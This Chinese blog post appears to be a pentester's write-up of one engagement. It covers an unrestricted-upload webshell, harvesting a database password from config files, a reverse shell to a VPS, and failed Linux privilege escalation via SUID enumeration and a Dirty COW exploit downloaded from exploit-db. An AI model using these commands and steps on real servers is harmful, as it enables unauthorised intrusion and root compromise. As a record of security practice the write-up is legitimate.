一次工作中getshell失败的linux提权尝试
一次工作中getshell失败的linux提权尝试
先检查了源代码,发现上传代码根本没有判断用户的上传类型
发现ajax采用json数据传递data参数的时候,只要有数据,即可保存成功
而且这个漏洞可能是通用
意味着我们可以上传任何格式类型的脚本木马,如.php.jsp.php4.php5.aspx cer,关键点在于能否成功解析木马
拿shell的过程就省略..
我们可以去找找配置文件的数据 linux主机
如conf,config之类的
找了许久发现了数据连接密码,用find命令查找,find /opt -name "config.*"
最后我们来简单对linux的pwd提个权尝试
试想密码可能那个通用帐号的密码
结果失望了,权限被拒绝
换一种思路
看来想多了
转变思路
发现被拒绝
我们发现在哥斯拉这个CMD下,貌似利用点很少,我们需要进行反弹到VPS公网进行交互性执行shell
MariaDB是mysql的一个分支,但是居然大马不支持mysql执行
那么我们直接使用反弹吧
VPS使用:yum install -y nc
安装NC工具,然后填写公网IP,选择perl连接
VPS监听12388端口,然后执行反弹
反弹成功
现在我们
试试suid提权
公网VPS执行
find / -perm -u=s -type f 2>/dev/null
找一个查看是否以ROOT权限运行
Ls -lh /usr/bin/sudo Ls -lh /usr/bin/find
然后我们使用-exec执行,发现还是nginx,并不是root
证明提权失败
直接试试bash -p,也不行
我们使用Linux_Exploit_Suggester试试
上传e.sh到网站目录,然后chmod +x 文件名赋予执行权限
接着./e.sh自动查找可提权的脚本
发现存在脏牛提权漏洞?只是有可能性
脏牛提权的版本,但是感觉可能性不大
Centos7 /RHEL7 3.10.0-327.36.3.el7Cetnos6/RHEL6 2.6.32-642.6.2.el6Ubuntu 16.10 4.8.0-26.28Ubuntu 16.04 4.4.0-45.66Ubuntu 14.04 3.13.0-100.147Debian 8 3.16.36-1+deb8u2Debian 7
wget下载脚本
wget https://www.exploit-db.com/download/40611
然后查看
出错
有安装 gcc 或者 g++,也可能是已安装的 gcc 和 g++ 版本不兼容
那么VPS自行编译下,新建一个shell.c,vim插入数据
然后把shell上传到目标服务器tmp目录下,不然没法传
现在需要做的就是VPS开启http服务
用python3开启http服务
安装python3.7版本
下载文件
传到tmp目录下执行./shell
使用chmod 777 +赋予权限
VPS模拟测试脏牛提权:
成功提权,然后利用.bak备份文件恢复了原始的etc/passwd
在目标服务器测试却出现了问题
一系列问题接踵而至
网上也没找到好的解决办法
两个版本的脏牛都失败了
PIE_stack_corruption是内存破坏漏洞,
[CVE-2017-1000253] PIE_stack_corruption
Details: https://www.qualys.com/2017/09/26/linux-pie-cve-2017-1000253/cve-2017-1000253.txt
Exposure: probable
Tags: RHEL=6,[ RHEL=7 ]{kernel:3.10.0-514.21.2|3.10.0-514.26.1}
Download URL: https://www.qualys.com/2017/09/26/linux-pie-cve-2017-1000253/cve-2017-1000253.c
这个就先不弄
无奈
使用打开kali
搜了一下也没有找到好的提权版本,这台主机的版本升级后有点高
试想一下,系统如果被轻易linux提权后果更难以想象
至少保证了服务器没有被提权
只是单纯的web层存在漏洞,这样一来,核心层还是确保了真正的“安全”
提权尝试结束,就写到这里...
<< 上一篇